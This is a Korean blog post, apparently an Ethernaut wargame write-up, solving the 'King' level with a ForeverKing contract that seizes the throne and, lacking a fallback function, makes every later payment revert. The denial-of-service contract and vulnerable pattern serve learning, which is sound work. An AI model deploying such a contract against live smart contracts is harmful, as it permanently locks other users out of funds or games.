티스토리 뷰
1. 문제
아래의 컨트랙트는 아주 간단한 게임입니다. 현재 컨트랙트의 상금보다 더 많은 금액을 컨트랙트에게 보내는 누구나 새로운 왕이 될 수 있습니다. 이 게임을 완전히 망가트려 보세요.
*주의* 인스턴스를 제출할 때 관리자는 왕권을 다시 탈환하려 할 것입니다. 그러한 행위가 불가능하도록 하세요.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract King {
address king;
uint public prize;
address public owner;
constructor() payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
payable(king).transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
function _king() public view returns (address) {
return king;
}
}
2. 해법
문제의 King 컨트랙트는 fallack 함수에서 이더를 받으면서 별도의 로직을 실행합니다. 만약 fallback 함수를 호출한 계정이 상금보다 더 크거나 같은 양의 이더를 보냈다면 이전 왕에게 해당 금액을 전송하고 새로운 왕을 옹립(?)합니다. 이 부분이 유일하게 왕권을 탈취할 수 있는 부분이죠. 요리조리 뜯어봐도 아무 문제가 없어보입니다.
그러나 기억을 더듬어 우리는 이전 문제들에서 스마트 컨트랙트는 fallback 함수없이는 일반적으로 이더를 전송받을 수 없다는 것을 배웠습니다. receive 함수에서 transfer 함수가 revert된다면 아무리 주인이라고 해도 왕권을 되찾긴 힘들 것입니다. 즉, fallback 함수가 없는 컨트랙트를 활용하여 컨트랙트를 공격하면 이 문제를 해결할 수 있습니다.
다음의 컨트랙트를 작성하고 Remix IDE를 활용하여 배포합니다. 생성자에는 King 인스턴스의 주소를 넘겨줍니다. 컨트랙트 이름하고 함수 이름은 일부러 간지나게 지었습니다.
contract ForeverKing {
address payable public king;
constructor(address _king) {
king = payable(_king);
}
function usurpTheThrone() public payable {
King instance = King(king);
require(msg.value >= instance.prize());
(bool ok, ) = king.call{value: msg.value}("");
require(ok);
}
}
상금으로는 0.01 이더가 걸려있으므로 그 이상의 금액을 입력하고 usurpTheThrone 함수를 실행해 줍니다.
이제 왕은 ForeverKing 컨트랙트이고 이 컨트랙트는 fallback 함수를 가지고 있지 않기 때문에 King 컨트랙트의 receive 함수에서 실행되는 transfer는 절대 결코 revert됩니다. 따라서 그 누구도 왕권을 탈취할 수 없습니다. 이제 제출하면 마무리입니다.
3. 결론
오늘은 다 배운 내용이라 마땅히 할 말이 없네요.
'Solidity > Hacking' 카테고리의 다른 글
[Ethernaut] 11. Elevator (1) | 2024.01.23 |
---|---|
[Ethernaut] 10. Re-entrancy (0) | 2024.01.22 |
[Ethernaut] 8. Vault (0) | 2024.01.18 |
[Ethernaut] 7. Force (0) | 2024.01.17 |
[Ethernaut] 6. Delegation (0) | 2024.01.16 |